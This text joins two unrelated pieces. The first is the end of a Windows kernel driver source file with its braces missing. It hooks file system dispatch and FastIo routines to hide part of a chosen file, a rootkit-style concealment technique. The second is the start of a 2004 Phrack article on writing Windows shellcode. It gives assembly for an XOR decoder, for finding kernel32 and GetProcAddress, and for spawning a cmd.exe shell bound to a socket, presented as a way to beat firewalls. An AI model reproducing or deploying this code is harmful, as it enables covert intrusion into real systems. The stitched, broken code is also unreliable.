ULONG InvisiblePartSize = 10;
//File, part of which we want to hide
wchar_t OurFileName[] = L"testing.fil";

//Size of OurFileName in bytes, excluding null terminator
ULONG OurFileNameLen = sizeof(OurFileName) - sizeof(wchar_t);

// Functions

//Function returns true if FN matches OurFileName
        return ((FN->Buffer) &&
                (FN->Length >= OurFileNameLen) &&
                _wcsnicmp((wchar_t*)((char*)FN->Buffer + FN->Length - OurFileNameLen),
                OurFileName, OurFileNameLen/2)==0);

//Structure used to track IRPs which completion must be handled
struct s_ComplRtnTrack
        PIO_COMPLETION_ROUTINE CompletionRoutine;
        PVOID Context;
        //When CompletionRoutine is called, flags corresponds to InvokeOn*
        UCHAR Control;
        FILE_INFORMATION_CLASS FileInformationClass;
        PVOID Buffer;

//Function set new CompletionRoutine, InvokeOnSuccess flag,
//and copies original fields to Context
void HookIrpCompletion(PIO_STACK_LOCATION CISL,
                                           PIO_COMPLETION_ROUTINE CompletionRoutine,
                                           PVOID Buffer,
                                           FILE_INFORMATION_CLASS FileInformationClass)
        s_ComplRtnTrack* NewContext =
                (s_ComplRtnTrack*)ExAllocatePool(NonPagedPool, sizeof(s_ComplRtnTrack));
        NewContext->CompletionRoutine = CISL->CompletionRoutine;
        NewContext->Context = CISL->Context;
        NewContext->Control = CISL->Control;
        NewContext->CISL = CISL;
        //Since CISL.Parameters unavailabile in IrpCompletion handler,
        //let's save all necessary data in Context structure
        NewContext->FileInformationClass = FileInformationClass;
        NewContext->Buffer = Buffer;
        CISL->CompletionRoutine = CompletionRoutine;
        CISL->Context = NewContext;
        CISL->Control |= SL_INVOKE_ON_SUCCESS;

//Function handles IRP completion
NTSTATUS NewComplRtn (
                                          IN PDEVICE_OBJECT DeviceObject,
                                          IN PIRP Irp,
                                          s_ComplRtnTrack* CXT)
        //Handle different types of IRP
        switch (CXT->CISL->MajorFunction)
                _asm int 3;
                //ThisIsOurFile is already tested
                switch (CXT->FileInformationClass)
                        //In all cases modify CurrentByteOffset and/or size (EndOfFile)
                        //to hide first InvisiblePartSize bytes
                case FilePositionInformation:
                        ((PFILE_POSITION_INFORMATION)CXT->Buffer)->CurrentByteOffset.QuadPart -= InvisiblePartSize;
                case FileEndOfFileInformation:
                        ((PFILE_END_OF_FILE_INFORMATION)CXT->Buffer)->EndOfFile.QuadPart -= InvisiblePartSize;
                case FileStandardInformation:
                        ((PFILE_STANDARD_INFORMATION)CXT->Buffer)->EndOfFile.QuadPart -= InvisiblePartSize;
                case FileAllocationInformation:
                        ((PFILE_ALLOCATION_INFORMATION)CXT->Buffer)->AllocationSize.QuadPart -= InvisiblePartSize;
                case FileAllInformation:
                        ((PFILE_ALL_INFORMATION)CXT->Buffer)->PositionInformation.CurrentByteOffset.QuadPart -= InvisiblePartSize;
                        ((PFILE_ALL_INFORMATION)CXT->Buffer)->StandardInformation.EndOfFile.QuadPart -= InvisiblePartSize;
                //Get a pointer to first directory entries
                PFQD_SmallCommonBlock pQueryDirWin32 = (PFQD_SmallCommonBlock)CXT->Buffer;
                //Cycle through directory entries
                while (1)
                        PWCHAR pFileName = 0;
                        ULONG dwFileNameLength = 0;
                        switch (CXT->FileInformationClass)
                                //In all cases get pointer to FileName and FileNameLength
                        case FileDirectoryInformation:
                                dwFileNameLength = ((PKFILE_DIRECTORY_INFORMATION)pQueryDirWin32)->CommonBlock.FileNameLength;
                                pFileName = ((PKFILE_DIRECTORY_INFORMATION)pQueryDirWin32)->FileName;
                        case FileFullDirectoryInformation:
                                dwFileNameLength = ((PKFILE_FULL_DIR_INFORMATION)pQueryDirWin32)->CommonBlock.FileNameLength;
                                pFileName = ((PKFILE_FULL_DIR_INFORMATION)pQueryDirWin32)->FileName;
                        case FileBothDirectoryInformation:
                                dwFileNameLength = ((PKFILE_BOTH_DIR_INFORMATION)pQueryDirWin32)->CommonBlock.FileNameLength;
                                pFileName = ((PKFILE_BOTH_DIR_INFORMATION)pQueryDirWin32)->FileName;
                        //_asm int 3;
                        //Is this file that we want?
                        if ((dwFileNameLength == OurFileNameLen) &&
                                _wcsnicmp(pFileName, OurFileName, OurFileNameLen/2)==0)
                                //_asm int 3;
                                //Hide first InvisiblePartSize bytes
                                ((PFQD_CommonBlock)pQueryDirWin32)->FileAttr.EndOfFile.QuadPart -= InvisiblePartSize;
                        //Quit if no more directory entries
                        if (!pQueryDirWin32->NextEntryOffset) break;
                        //Continue with next directory entry
                        pQueryDirWin32 = (PFQD_SmallCommonBlock)((CHAR*)pQueryDirWin32 + pQueryDirWin32->NextEntryOffset);
        //If appropriate Control flag was set,...
        if (
                ((CXT->Control == SL_INVOKE_ON_SUCCESS)&&(NT_SUCCESS(Irp->IoStatus.Status)))
                || ((CXT->Control == SL_INVOKE_ON_ERROR)&&(NT_ERROR(Irp->IoStatus.Status)))
                || ((CXT->Control == SL_INVOKE_ON_CANCEL)&&(Irp->IoStatus.Status == STATUS_CANCELLED)) )
                // original CompletionRoutine
                return CXT->CompletionRoutine(
        else return STATUS_SUCCESS;

//Filename IRP handler deal with
#define FName &(CISL->FileObject->FileName)

//Function handles IRP_MJ_READ and IRP_MJ_WRITE
NTSTATUS NewReadWriteDisp (
                                                   IN PDEVICE_OBJECT DeviceObject,
                                                   IN PIRP Irp)
        //_asm int 3;
        PIO_STACK_LOCATION CISL = IoGetCurrentIrpStackLocation(Irp);
        if (CISL->FileObject &&
                //Don't mess with swaping
                !(Irp->Flags & IRP_PAGING_IO)  && !(Irp->Flags & IRP_SYNCHRONOUS_PAGING_IO))
                if (ThisIsOurFile(FName))
                        //_asm int 3;
                        CISL->Parameters.Write.ByteOffset.QuadPart += InvisiblePartSize;
                        //Write and Read has the same structure, thus handled together
        //Call corresponding original handler
        switch (CISL->MajorFunction)
        case IRP_MJ_READ:
                return OldReadDisp(DeviceObject, Irp);
        case IRP_MJ_WRITE:
                return OldWriteDisp(DeviceObject, Irp);

NTSTATUS NewQueryDisp (
                                           IN PDEVICE_OBJECT DeviceObject,
                                           IN PIRP Irp)
        //_asm int 3;
        PIO_STACK_LOCATION CISL = IoGetCurrentIrpStackLocation(Irp);        
        if ((CISL->MajorFunction == IRP_MJ_QUERY_INFORMATION) &&
                //_asm int 3;
                switch (CISL->Parameters.QueryFile.FileInformationClass)
                        //Information types that contains file size or current offset
                case FilePositionInformation:
                case FileEndOfFileInformation:
                case FileStandardInformation:
                case FileAllocationInformation:
                case FileAllInformation:
                        //_asm int 3;
                        HookIrpCompletion(CISL, (PIO_COMPLETION_ROUTINE)NewComplRtn, Irp->AssociatedIrp.SystemBuffer, CISL->Parameters.QueryFile.FileInformationClass);
        //Call original handler
        return OldQueryDisp(DeviceObject, Irp);

//Function handles IRP_MJ_SET_INFORMATION
NTSTATUS NewSetInfoDisp (
                                                 IN PDEVICE_OBJECT DeviceObject,
                                                 IN PIRP Irp)
        //_asm int 3;
        PIO_STACK_LOCATION CISL = IoGetCurrentIrpStackLocation(Irp);        
        if (CISL->FileObject && ThisIsOurFile(FName))
                //_asm int 3;
                switch (CISL->Parameters.QueryFile.FileInformationClass)
                        //Information types that contains file size or current offset.
                        //In all cases modify CurrentByteOffset and/or size (EndOfFile)
                        //to hide first InvisiblePartSize bytes
                case FilePositionInformation:
                        ((PFILE_POSITION_INFORMATION)Irp->AssociatedIrp.SystemBuffer)->CurrentByteOffset.QuadPart += InvisiblePartSize;
                case FileEndOfFileInformation:
                        ((PFILE_END_OF_FILE_INFORMATION)Irp->AssociatedIrp.SystemBuffer)->EndOfFile.QuadPart += InvisiblePartSize;
                case FileStandardInformation:
                        ((PFILE_STANDARD_INFORMATION)Irp->AssociatedIrp.SystemBuffer)->EndOfFile.QuadPart += InvisiblePartSize;
                case FileAllocationInformation:
                        //_asm int 3;
                        ((PFILE_ALLOCATION_INFORMATION)Irp->AssociatedIrp.SystemBuffer)->AllocationSize.QuadPart += InvisiblePartSize;
                case FileAllInformation:
                        ((PFILE_ALL_INFORMATION)Irp->AssociatedIrp.SystemBuffer)->PositionInformation.CurrentByteOffset.QuadPart += InvisiblePartSize;
                        ((PFILE_ALL_INFORMATION)Irp->AssociatedIrp.SystemBuffer)->StandardInformation.EndOfFile.QuadPart += InvisiblePartSize;
        //Call original handler
        return OldSetInfoDisp(DeviceObject, Irp);

NTSTATUS NewDirCtlDisp (
                                                 IN PDEVICE_OBJECT DeviceObject,
                                                 IN PIRP Irp)
        void *pBuffer;
        PIO_STACK_LOCATION CISL = IoGetCurrentIrpStackLocation(Irp);        
//_asm int 3;
        if ((CISL->MajorFunction == IRP_MJ_DIRECTORY_CONTROL) &&
                (CISL->MinorFunction == IRP_MN_QUERY_DIRECTORY))
                //Handle both ways of passing user supplied buffer
                if (Irp->MdlAddress)
                        pBuffer = MmGetSystemAddressForMdl(Irp->MdlAddress);
                        pBuffer = Irp->UserBuffer;
                HookIrpCompletion(CISL, (PIO_COMPLETION_ROUTINE)NewComplRtn, pBuffer, ((PQUERY_DIRECTORY)(&CISL->Parameters))->FileInformationClass);
        //Call original handler
        return OldDirCtlDisp(DeviceObject, Irp);

#undef FName

//Function handles FastIoRead
BOOLEAN NewFastIoRead(
    IN PFILE_OBJECT FileObject,
    IN ULONG Length,
    IN BOOLEAN Wait,
    IN ULONG LockKey,
    OUT PVOID Buffer,
    IN PDEVICE_OBJECT DeviceObject
        LARGE_INTEGER NewFileOffset;
        //_asm int 3;
        if ((FileObject) && (ThisIsOurFile(&FileObject->FileName)))
                //_asm int 3;
                //Modify FileOffset to hide first InvisiblePartSize bytes
                NewFileOffset.QuadPart = FileOffset->QuadPart + InvisiblePartSize;
                return OldFastIoReadDisp(FileObject, &NewFileOffset, Length, Wait, LockKey, Buffer,
                        IoStatus, DeviceObject);
        //Call original handler
        return OldFastIoReadDisp(FileObject, FileOffset, Length, Wait, LockKey, Buffer,
                IoStatus, DeviceObject);

//Function handles FastIoWrite
BOOLEAN NewFastIoWrite(
                                           IN PFILE_OBJECT FileObject,
                                           IN PLARGE_INTEGER FileOffset,
                                           IN ULONG Length,
                                           IN BOOLEAN Wait,
                                           IN ULONG LockKey,
                                           OUT PVOID Buffer,
                                           OUT PIO_STATUS_BLOCK IoStatus,
                                           IN PDEVICE_OBJECT DeviceObject
        LARGE_INTEGER NewFileOffset;
        //_asm int 3;
        if ((FileObject) && (ThisIsOurFile(&FileObject->FileName)))
                //_asm int 3;
                //Modify FileOffset to hide first InvisiblePartSize bytes
                NewFileOffset.QuadPart = FileOffset->QuadPart + InvisiblePartSize;
                return OldFastIoWriteDisp(FileObject, &NewFileOffset, Length, Wait, LockKey, Buffer,
                        IoStatus, DeviceObject);
        return OldFastIoWriteDisp(FileObject, FileOffset, Length, Wait, LockKey, Buffer,
                IoStatus, DeviceObject);

//Function handles FastIoQueryStandartInfo
BOOLEAN NewFastIoQueryStandartInfo(
                                                                IN struct _FILE_OBJECT *FileObject,
                                                                IN BOOLEAN Wait,
                                                                OUT PFILE_STANDARD_INFORMATION Buffer,
                                                                OUT PIO_STATUS_BLOCK IoStatus,
                                                                IN struct _DEVICE_OBJECT *DeviceObject
        //Call original handler
        BOOLEAN status = OldFastIoQueryStandartInfoDisp(FileObject, Wait, Buffer, IoStatus, DeviceObject);
        if ((FileObject) && (ThisIsOurFile(&FileObject->FileName)))
                //_asm int 3;
                //Modify EndOfFile to hide first InvisiblePartSize bytes
                Buffer->EndOfFile.QuadPart -= InvisiblePartSize;
        return status;

extern "C"
                                                IN PUNICODE_STRING ObjectPath,
                                                IN ULONG Attributes,
                                                IN PACCESS_STATE PassedAccessState OPTIONAL,
                                                IN ACCESS_MASK DesiredAccess OPTIONAL,
                                                IN POBJECT_TYPE ObjectType,
                                                IN KPROCESSOR_MODE AccessMode,
                                                IN OUT PVOID ParseContext OPTIONAL,
                                                OUT PVOID *ObjectPtr

extern "C" PVOID IoDriverObjectType;

//Function hooks given dispatch function (MajorFunction)
VOID InterceptFunction(UCHAR MajorFunction,
                                           PDRIVER_OBJECT  pDriverObject,
                                           OPTIONAL PDRIVER_DISPATCH *OldFunctionPtr,
                                           OPTIONAL PDRIVER_DISPATCH NewFunctionPtr)
        PDRIVER_DISPATCH                                *TargetFn;
        TargetFn = &(pDriverObject->MajorFunction[MajorFunction]);
        //hook only if handler exists
        if (*TargetFn)
                if (OldFunctionPtr) *OldFunctionPtr = *TargetFn;
                if (NewFunctionPtr) *TargetFn = NewFunctionPtr;

//Function hooks given driver's dispatch functions
NTSTATUS Intercept(PWSTR pwszDeviceName)
        UNICODE_STRING                DeviceName;
        NTSTATUS status;
        KIRQL OldIrql;
        _asm int 3;
        pDriverObject = NULL;
        RtlInitUnicodeString(&DeviceName, pwszDeviceName);
        status = ObReferenceObjectByName(&DeviceName, OBJ_CASE_INSENSITIVE, NULL, 0, (POBJECT_TYPE)IoDriverObjectType, KernelMode, NULL, (PVOID*)&pDriverObject);
        if (pDriverObject)
                //Raise IRQL to avoid context switch
                //when some pointer is semi-modified
                KeRaiseIrql(HIGH_LEVEL, &OldIrql);
                //hook dispatch functions
                InterceptFunction(IRP_MJ_READ, pDriverObject, &OldReadDisp, NewReadWriteDisp);
                InterceptFunction(IRP_MJ_WRITE, pDriverObject, &OldWriteDisp, NewReadWriteDisp);
                InterceptFunction(IRP_MJ_QUERY_INFORMATION, pDriverObject, &OldQueryDisp, NewQueryDisp);
                InterceptFunction(IRP_MJ_SET_INFORMATION, pDriverObject, &OldSetInfoDisp, NewSetInfoDisp);
                InterceptFunction(IRP_MJ_DIRECTORY_CONTROL, pDriverObject, &OldDirCtlDisp, NewDirCtlDisp);
                //hook FastIo dispatch functions if FastIo table exists
                if (pDriverObject->FastIoDispatch)
                        //     w2k [rus]
                        //It would be better to copy FastIo table to avoid
                        //messing with kernel memory protection, but it works as it is
                        OldFastIoReadDisp = pDriverObject->FastIoDispatch->FastIoRead;
                        pDriverObject->FastIoDispatch->FastIoRead = NewFastIoRead;
                        OldFastIoWriteDisp = pDriverObject->FastIoDispatch->FastIoWrite;
                        pDriverObject->FastIoDispatch->FastIoWrite = NewFastIoWrite;
                        OldFastIoQueryStandartInfoDisp = pDriverObject->FastIoDispatch->FastIoQueryStandardInfo;
                        pDriverObject->FastIoDispatch->FastIoQueryStandardInfo = NewFastIoQueryStandartInfo;
        return status;

//Function cancels hooking
VOID UnIntercept()
        KIRQL OldIrql;
        if (pDriverObject)
                KeRaiseIrql(HIGH_LEVEL, &OldIrql);
                InterceptFunction(IRP_MJ_READ, pDriverObject, NULL, OldReadDisp);
                InterceptFunction(IRP_MJ_WRITE, pDriverObject, NULL, OldWriteDisp);
                InterceptFunction(IRP_MJ_QUERY_INFORMATION, pDriverObject, NULL, OldQueryDisp);
                InterceptFunction(IRP_MJ_SET_INFORMATION, pDriverObject, NULL, OldSetInfoDisp);
                InterceptFunction(IRP_MJ_DIRECTORY_CONTROL, pDriverObject, NULL, OldDirCtlDisp);
                if (pDriverObject->FastIoDispatch)
                        pDriverObject->FastIoDispatch->FastIoRead = OldFastIoReadDisp;
                        pDriverObject->FastIoDispatch->FastIoWrite = OldFastIoWriteDisp;
                        pDriverObject->FastIoDispatch->FastIoQueryStandardInfo = OldFastIoQueryStandartInfoDisp;

|=[ EOF ]=---------------------------------------------------------------=|


                             ==Phrack Inc.==

               Volume 0xXX, Issue 0x3e, Phile #0x07 of 0x10

|=-----------=[ History and Advances in Windows Shellcode ]=-------------=|
|=---------------=[ sk <sk at scan-associates d0t net> ]=----------------=|
|=------------------------=[ June 22nd, 2004 ]=--------------------------=|

--[ Contents

	1. Abstract
	2. Introduction to shellcode
		a. Why shellcode?
		b. Windows shellcode skeleton
			i. Getting EIP
			ii. Decoder
			iii. Getting address of required function
			iv. Locating Kernel32 base memory
			v. Getting GetProcAddress()
			vi. Getting other functions by name
			vii. Spawning a shell
		c. Compiling our shellcode
	3. The connection
		a. Bind to port shellcode
			i. Bind to port shellcode implementation
			ii. Problem with Bind to port shellcode
		b. Reverse connect
			i. Reverse connect shellcode implementation
			ii. Problem with reverse connect shellcode
	4. One-way shellcode
		a. Find socket shellcode
			i. Problem with find socket shellcode
		b. Reuse address shellcode
			i. Reuse address shellcode implementation
			ii. Problem with reuse address shellcode
		c. Rebind socket
			i. Rebind socket shellcode implementation
		d. Other one-way shellcode
	5. Transferring file using shellcode
		a. Uploading file with debug.exe
		b. Uploading file with VBS
		c. Retrieving file from command line
	6. Avoiding IDS detection
	7. Restarting vulnerable service
	8. End of shellcode?
	9. Greetz!
	10. References
	11. The code

--[ 1. Abstract

Firewall is everywhere in the Internet now. Most of the exploits 
released in the public have little concern over firewall rules 
because they are just proof of concept. In real world, we would 
encounter targets with firewall that will make exploitation harder. 
We need to overcome these obstacles for a successful penetration 
testing job. The research of this paper started when we need to take 
over (own) a machine which is heavily protected with rigid firewall 
rules. Although we can reach the vulnerable service but the strong 
firewall rules between us and the server hinder all standard exploits 

The objective of the research is to find alternative ways which allow 
penetration tester to take control of a machine after a successful 
buffer overflow. A successful buffer overflow in a sense that it will 
eventually leads to arbitrary code execution. These alternative 
mechanisms should succeed where others fail even in the most rigid 
firewall rules.

In our research to find a way to by pass these troublesome firewall 
rules, we looked into various existing techniques used by exploits in 
the public and why they fail. Then, we found several mechanisms that 
will work, but dependence to the vulnerable service. Although we can 
take over the server using these techniques, we take one step further 
to develop a more generic technique which is not dependence to any 
service and can be reuse in most other buffer overflows. 

This paper will start with dissection on a standard Win32 shellcode 
as an introduction. We will then explore the techniques being used by 
proof of concept codes to allow attacker to control the target and 
their limitations. Then, we will introduce a few alternatives 
techniques which we call "One-way shellcode" and how they may by pass 
firewall rules. Finally, we also discussed on a possible way to 
transfer file from command line without breaking the firewall rule.

--[ 2. Introduction to shellcode 

An exploit usually consists of two major components:
1.	Exploitation technique
2.	Payload

The objective of the exploitation part is to divert the execution 
path of the vulnerable program. We can achieve that via one of these 

*	Stack-based Buffer Overflow
*	Heap-based Buffer Overflow
*	Format String
*	Integer Overflow
*	Memory corruption, etc

Even though we may use one or more of those exploitation techniques 
to control the execution path of a program, each vulnerability need 
to be exploited differently. Every vulnerability has different way to 
trigger the bug. We may use different buffer size or character set to 
trigger the overflow. Although we can probably use the same technique 
for vulnerabilities in the same class, we cannot use the same code.

Once we control of the execution path, we probably want it to execute 
our code. Thus, we need to include these code or instruction set in 
our exploit. The part of code which allows us to execute arbitrary 
code is known as payload. The payload can virtually do everything a 
computer program can do with the permission of the vulnerable service. 

A payload that spawns you a shell is known as a shellcode. It allows 
interactive command execution. Unlike Exploitation technique, a well 
designed shellcode can easily be reused in other exploits. We will 
try to build shellcode that can be reused. A basic requirement of a 
shellcode is the shell and a connection that allow use to use it 

--[ 2.a Why shellcode?

Why shellcode? Simply because it is the simplest way that allows the 
attacker to explore the target system interactively. It might give 
the attacker the ability to discover internal network, to further 
penetrate into other computers. A simple "net view /domain" command 
in Windows box would review many other easy targets.

A shell may also allow upload/download file/database, which is 
usually needed as proof of successful pen-test. You also may easily 
install trojan horse, key logger, sniffer, Enterprise worm, WinVNC, 
etc. An Enterprise Worm could be a computer worm which was written 
specifically to infect other machine in the same domain using the 
credential of the primary domain controller. 

A shell is also useful to restart the vulnerable services. This will 
keep the service running and your client happy. But more importantly, 
restarting the vulnerable service usually allow us to attack the 
service again. We also may clean up traces like log files and events 
with a shell. There are just many other possibilities. 

However, spawning a shell is not the only thing you can do in your 
payload. As demonstrated by LSD in their Win32 ASM component, you can 
create a payload that loop and wait for command from the attacker. 
The attacker could issue a command to the payload to create new 
connection, upload/download file or spawn a shell. There are also a 
few others payload strategies in which the payload will loop and wait 
for additional payload from the attacker.

Regardless whether a payload is spawning a shell or loop to wait for 
instructions, it still needs to communicate with the attacker. 
Although we are using payload that spawns a shell throughout this 
article, the mechanisms being use for communication can be use in 
other payload strategy.

--[ 2.b Windows shellcode skeleton

Shellcode usually start by getting to know where you are during the 
execution by grapping the EIP value. And then, a decoding process 
will take place. The process will then jump into the decoded memory 
area where execution can continue. Before we can do anything useful, 
we need to find addresses of all functions and API that we need to 
use in the shellcode. With that, we can setup a socket, and finally 
spawn a shell.

*	Getting EIP
*	Decoder
*	Getting addresses of required functions
*	Setup socket
*	Spawning shell

Let's look into what these components suppose to do, in greater 

--[ 2.b.i Getting EIP

We would like to make our shellcode as reusable as possible. For that, 
we will avoid using any fixed address which could change in different 
environment. We will use relative addressing as much as we could. To 
start with, we need to know where we are in the memory. This address 
will be our base address. Any variable or function in the shellcode 
will be relative to this address. To get this address, we can use a 
CALL and a POP instruction. As we already know, whenever we are 
calling a function, the return value is push into the stack just 
before the function is called. So, if the first thing we do in the 
function is a POP command, we will obtain the return value in a 
register. As shown below, EAX will be 451005.

		label1:	pop eax
450005: 		... (eax = 451005)

451000: 		call label1		;start here!

Most likely you will find something similar to the code below in a 
shellcode, which does about the same thing.

450000: 			jmp label1
		label2: 	jmp cont
		label1: 	call label2  
		cont: 		pop eax
				... 	(eax = 450009)

Another interesting mechanism being use to obtain the EIP is to make 
use of a few special FPU instructions. This was implemented by Aaron 
Adams in Vuln-Dev mailing list in the discussion to create pure ASCII 
shellcode. The code uses fnstenv/fstenv instructions to save the 
state of the FPU environment.

	fnstenv [esp-12]
	pop ecx
	add cl, 10

ECX will hold the address of the EIP. However, these instructions 
will generate non-standard ASCII characters.

--[ 2.b.ii Decoder

Buffer overflow usually will not allow NULL and a few special 
characters. We can avoid using these characters by encoding our 
shellcode. The easiest encoding scheme is the XOR encoding. In this 
encoding, we will XOR each char in our shellcode with a predefined 
value. During execution, a decoder will translate the rest of the 
code back to real instruction by XOR it again with the predefined 
value. As shown here, we can set the number of byte we want to decode 
in ecx, and while eax is pointing to the starting point of our 
encoded shellcode. We xor the destination byte by byte with 0x96 
until the loop over. There are other more advance encoding schemes, 
of cause. We can use a DWORD xor value instead of a char to encode 4 
bytes at a time. We also may break the code apart by encoding them 
using a different xor key. All with the purpose to get rid of 
unusable chars in our shellcode.

	xor	ecx, ecx
	mov 	cl, 0C6h 			;size	
	inc	eax
	xor 	byte ptr [eax], 96h
	loop 	loop1

The Metasploit project ( contains a few very 
useful encoders worth checking.

--[ 2.b.iii Getting address of required function

After the decoding process, we will jump into the memory area where 
the decoded shellcode start to continue our execution. Before we can 
do anything useful, we must locate the address of all APIs that we 
need to use and store it in a jump table. We are not going to use any 
fixed address to API because it is different between service packs. 
To get the address of API we need, we can use an API called 
GetProcAddress(). By supplying the name of the function we need to 
this API, it will return the address where we can call to use it. To 
obtain the address of GetProcAddress() itself, we can search the 
export table of the Kernel32.dll in the memory. Kernel32.dll image is 
located predefined in a memory location depending on the OS.

*	NT - 0x77f00000
*	2kSP2 & SP3 - 0x77e80000
*	WinXP - 0x77e60000

Since we know the default base memory of kernel32.dll is located at 
these locations, we can start looping backward from 0x77f00000 to 
look for "MZ\x90" byte sequences. Kernel32 start with "MZ\x90" mark 
just like any Windows application. This trick was used by High Speed 
Junky (HSJ) in his exploit and it works quite nicely for all the 
above OS and service pack. However Windows 2000 SP4's Kernel32.dll is 
located at 0x7c570000. In order to scan the memory from 0x77f00000, 
we need to setup an exception handler that will catch invalid memory 

--[ 2.b.iv Locating Kernel32 base memory

However, there is a better method to get the kernel32 base memory. 
Using the fs selector, we can get into our PEB. By searching the 
PEB_LDR_DATA structure, we will find the list of DLL which our 
vulnerable program initialized when it start. The list of DLL will be 
loaded in sequence, first, NTDLL, followed by Kernel32. So, by 
traveling one nod forward in the list, we will get the base memory of 
the Kernel32.dll. This technique, complete with the code, has been 
published by researchers in VX-zine, then used by LSD in their 
Windows Assembly component. 

	mov   eax,fs:[30h]		; PEB  base
	mov   eax,[eax+0ch]		; goto PEB_LDR_DATA
	; first entry in InInitializationOrderModuleList
	mov   esi,[eax+1ch] 
	lodsd					; forward to next LIST_ENTRY
	mov   ebx,[eax+08h]		; Kernel32 base memory

--[ 2.b.v Getting GetProcAddress()

Once we know the base address of Kernel32.dll, we can locate its 
Export Table and look for "GetProcAddress" string. We also can get 
the total of exported functions. Using the number, we loop until we 
find the string.

	mov	esi,dword ptr [ebx+3Ch]		;to PE Header
	add	esi,ebx 
	mov	esi,dword ptr [esi+78h] 	;to export table
	add	esi,ebx 
	mov	edi,dword ptr [esi+20h] 	;to export name table
	add	edi,ebx 
	mov	ecx,dword ptr [esi+14h] 	;number of exported function
	push	esi  
	xor	eax,eax 			;our counter

For each address in the jump table, we will check if the destination 
name is match with "GetProcAddress". If not, we increase EAX by one 
and continue searching. Once we found a match, EAX will be holding 
our counter. Using the following formula, we can obtain the real 
address of GetProcAddress().

ProcAddr = (((counter * 2) + Ordinal) * 4) + AddrTable + Kernel32Base

We count until we reach "GetProcAddress". Multiply the index by 2, 
add it to the address of exported ordinals table. It should now point 
to the ordinal of GetProcAddress(). Take the value, multiply it by 4. 
Total it up with the address of the addrress of the table and 
Kernel32 base address, we will get the real address of the 
GetProcAddress(). We can use the same technique to get the address of 
any exported function inside Kernel32. 

--[ Getting other functions by name

Once we get the address of GetProcAddress(), we can easily obtain 
address of any other API. Since there are quite a number of APIs that 
we need to use, we (actually, most of these codes were dissass from 
HSJ's exploit) build a function that take a function name and return 
the address. To use the function, set ESI pointing to the name of the 
API we want to load. It must be NULL terminated. Set EDI point to the 
jump table. A jump table is just a location where we store all 
addresses of API we need to call. Set ECX to number of API we want it 
to resolve.

In this example, we call to load 3 APIs:

	mov	edi,esi 		;EDI is the output, our jump table
	xor	ecx,ecx 
	mov	cl,3 			;Load 3 APIs
	call	loadaddr

The "loadaddr" function that get the job done:

	mov	al,byte ptr [esi] 
	inc	esi  
	test	al,al
	jne	loadaddr	;loop till we found a NULL
	push	ecx  
	push	edx  
	push	esi  
	push	ebx  
	call	edx  		;GetProcAddress(DLL, API_Name);
	pop	edx  
	pop	ecx  
	stosd			;write the output to EDI
	loop	loadaddr	;loop to get other APIs

--[ 2.b.vii Spawning a shell

Once we have gone thru those troublesome API address loading, we can 
finally do something useful. To spawn a shell in Windows, we need to 
call the CreateProcess() API. To use this API, we need to set up the 
STARTUPINFO in such a way that, the input, output and error handler 
will be redirected to a socket. We also will set the structure so 
that the process will have no window. With the structure setup, we 
just need to call CreateProcess to launch "cmd.exe" to get an 
interactive command shell in windows.

;ecx is 0
	mov	byte ptr [ebp],44h 		;STARTUPINFO size
	mov	dword ptr [ebp+3Ch],ebx 	;output handler
	mov	dword ptr [ebp+38h],ebx 	;input handler
	mov	dword ptr [ebp+40h],ebx 	;error handler
	mov	word ptr [ebp+2Ch],0101h
	lea	eax,[ebp+44h] 
	push	eax  
	push	ebp  
	push	ecx  
	push	ecx  
	push	ecx  
	inc	ecx  
	push	ecx  
	dec	ecx  
	push	ecx  
	push	ecx  
	push	esi  
	push	ecx  
	call	dword ptr [edi-28] ;CreateProcess

--[ 2.c Compiling our shellcode

The Code section in the end of the paper contains source code 
bind.asm. bind.asm is a complete shellcode written in Assembly 
Language which will create a shell in Windows and bind it to a 
specific port. Compile bind.asm:

# tasm -l bind.asm

It will produce 2 files:
1.	bind.obj - the object code
2.	bind.lst - assembly listing

If we open bind.obj with a hex editor, we will see that the object 
code start with something similar to this:

01)	80 0A 00 08 62 69 6E 64-2E 61 73 6D 62 88 20 00   ....bind.asmb. .
02)	00 00 1C 54 75 72 62 6F-20 41 73 73 65 6D 62 6C   ...Turbo Assembl
03)	65 72 20 20 56 65 72 73-69 6F 6E 20 34 2E 31 99   er  Version 4.1.
04)	88 10 00 40 E9 49 03 81-2F 08 62 69 6E 64 2E 61   ...@.I../.bind.a
05)	73 6D 2F 88 03 00 40 E9-4C 96 02 00 00 68 88 03   sm/...@.L....h..
06)	00 40 A1 94 96 0C 00 05-5F 54 45 58 54 04 43 4F   .@......_TEXT.CO
07)	44 45 96 98 07 00 A9 B3-01 02 03 01 FE 96 0C 00   DE..............
08)	05 5F 44 41 54 41 04 44-41 54 41 C2 98 07 00 A9   ._DATA.DATA.....
09)	00 00 04 05 01 AE 96 06-00 04 46 4C 41 54 39 9A   ..........FLAT9.
10)	02 00 06 5E 96 08 00 06-44 47 52 4F 55 50 8B 9A   ...^....DGROUP..
11)	04 00 07 FF 02 5A 88 04-00 40 A2 01 91 A0 B7 01   .....Z...@......
12)	01 00 00 EB 02 EB 05 E8-F9 FF FF FF 58 83 C0 1B   ............X...
13)	...
14)	5A 59 AB E2 EE C3 99 8A-07 00 C1 10 01 01 00 00   ZY..............
15)	9C 6D 8E 06 D2 7C 26 F6-06 05 00 80 74 0E F7 06   .m...|&.....t...

Our shellcode start with hex code of 0xEB, 0x02 as show in line 12 of 
the partial hex dump above. It will end with 0xC3 as shown in line 14. 
We need to use a hex editor to remove the first 176 bytes and the 
last 26 bytes. (You don't need to do this if you are using NASM 
compiler, but the author has been using TASM since his MS-DOS age).

Now that we have the shellcode in its pure binary form, we just need 
to build a simple program that read from this file and produce the 
corresponding hex value in a C string. Refer to the Code section 
(xor.cpp) for the code that will do that. The output of the program 
is our shellcode in C string syntax:

# xor bind.obj
BYTE shellcode[436] = ""

--[ 3 The connection

We have seen some of the basic building block of a shellcode. But we 
have not cover the connection part of the shellcode. As mentioned, a 
shellcode needs a shell and a connection to allow interactive command. 
We want to be able to send any command and see the output. Regardless 
if we are spawning a shell, transferring file or loop to wait for 
further command, we need to setup a connection. There are three 
published techniques: Bind to port, Reverse connect and Find socket 
shellcode. We will look into each one of these, as well as their 
limitation. Along the way, various exploits that uses these shellcode 
will be demonstrated to get a better understanding.

--[ 3.a Bind to port shellcode

Bind to port shellcode is popular being used in proof of concept 
exploit. The shellcode setup a socket, bind it to a specific port and 
listen for connection. Upon accepting a connection, you spawn a shell.

This following APIs are needed for this type of connection: 

*	WSASocket()
*	bind()
*	listen()
*	accept()

It is important to note that we are using WSASocket() and not 
socket() to create a socket. Using WSASocket will create a socket 
